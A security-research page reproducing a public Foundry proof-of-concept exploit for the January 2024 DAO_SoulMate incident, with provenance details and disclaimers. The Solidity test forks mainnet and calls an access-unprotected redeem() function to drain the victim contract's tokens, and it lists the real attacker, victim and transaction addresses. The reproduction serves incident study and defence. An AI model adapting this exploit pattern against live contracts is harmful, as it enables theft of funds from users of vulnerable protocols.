Skip to content
THREATWIRE

Public reproduction file

src/test/2024-01/DAO_SoulMate_exp.sol

Public reproduction file for dataset entry DAO_SoulMate.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/DAO_SoulMate_exp.sol76 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~$319K
8// Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd
9// Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd
10// Victim Contract : https://etherscan.io/address/0x82c063afefb226859abd427ae40167cb77174b68
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x1ea0a2e88efceccb2dd93e6e5cb89e5421666caeefb1e6fc41b68168373da342
13// @Analysis
14// https://twitter.com/MetaSec_xyz/status/1749743245599617282
16interface ISoulMateContract {
17 function redeem(uint256 _shares, address _receiver) external;
20contract ContractTest is Test {
21 ISoulMateContract private constant SoulMateContract = ISoulMateContract(0x82C063AFEFB226859aBd427Ae40167cB77174b68);
22 IERC20 private constant BUI = IERC20(0xb7470Fd67e997b73f55F85A6AF0DeB2c96194885);
23 IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
24 IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
25 IERC20 private constant MATIC = IERC20(0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0);
26 IERC20 private constant AAVE = IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9);
27 IERC20 private constant ENS = IERC20(0xC18360217D8F7Ab5e7c516566761Ea12Ce7F9D72);
28 IERC20 private constant ZRX = IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
29 IERC20 private constant UNI = IERC20(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);
31 function setUp() public {
32 vm.createSelectFork("mainnet", 19_063_676);
33 vm.label(address(SoulMateContract), "SoulMateContract");
34 vm.label(address(BUI), "BUI");
35 vm.label(address(USDC), "USDC");
36 vm.label(address(DAI), "DAI");
37 vm.label(address(MATIC), "MATIC");
38 vm.label(address(AAVE), "AAVE");
39 vm.label(address(ENS), "ENS");
40 vm.label(address(ZRX), "ZRX");
41 vm.label(address(UNI), "UNI");
42 }
44 function testExploit() public {
45 emit log_named_decimal_uint(
46 "Exploiter USDC balance before attack", USDC.balanceOf(address(this)), USDC.decimals()
47 );
48 emit log_named_decimal_uint("Exploiter DAI balance before attack", DAI.balanceOf(address(this)), DAI.decimals());
49 emit log_named_decimal_uint(
50 "Exploiter MATIC balance before attack", MATIC.balanceOf(address(this)), MATIC.decimals()
51 );
52 emit log_named_decimal_uint(
53 "Exploiter AAVE balance before attack", AAVE.balanceOf(address(this)), AAVE.decimals()
54 );
55 emit log_named_decimal_uint("Exploiter ENS balance before attack", ENS.balanceOf(address(this)), ENS.decimals());
56 emit log_named_decimal_uint("Exploiter ZRX balance before attack", ZRX.balanceOf(address(this)), ZRX.decimals());
57 emit log_named_decimal_uint("Exploiter UNI balance before attack", UNI.balanceOf(address(this)), UNI.decimals());
59 // No access control
60 SoulMateContract.redeem(BUI.balanceOf(address(SoulMateContract)), address(this));
62 emit log_named_decimal_uint(
63 "Exploiter USDC balance after attack", USDC.balanceOf(address(this)), USDC.decimals()
64 );
65 emit log_named_decimal_uint("Exploiter DAI balance after attack", DAI.balanceOf(address(this)), DAI.decimals());
66 emit log_named_decimal_uint(
67 "Exploiter MATIC balance after attack", MATIC.balanceOf(address(this)), MATIC.decimals()
68 );
69 emit log_named_decimal_uint(
70 "Exploiter AAVE balance after attack", AAVE.balanceOf(address(this)), AAVE.decimals()
71 );
72 emit log_named_decimal_uint("Exploiter ENS balance after attack", ENS.balanceOf(address(this)), ENS.decimals());
73 emit log_named_decimal_uint("Exploiter ZRX balance after attack", ZRX.balanceOf(address(this)), ZRX.decimals());
74 emit log_named_decimal_uint("Exploiter UNI balance after attack", UNI.balanceOf(address(this)), UNI.decimals());
75 }

Analysis

Dataset entry

Public Foundry test for “DAO_SoulMate” (2024-01-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd

  • Attack Contract

    0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd

  • Victim

    0x82c063afefb226859abd427ae40167cb77174b68

  • Attack Tx

    0x1ea0a2e88efceccb2dd93e6e5cb89e5421666caeefb1e6fc41b68168373da342

File record

Name
DAO_SoulMate
Path
src/test/2024-01/DAO_SoulMate_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
21a853db375e74350ba0b4a20ab840c4b8bd3bf5
Language
Solidity
Size
77 lines
Date
2024-01-22
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-01/DAO_SoulMate_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 21a853db375e74350ba0b4a20ab840c4b8bd3bf5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.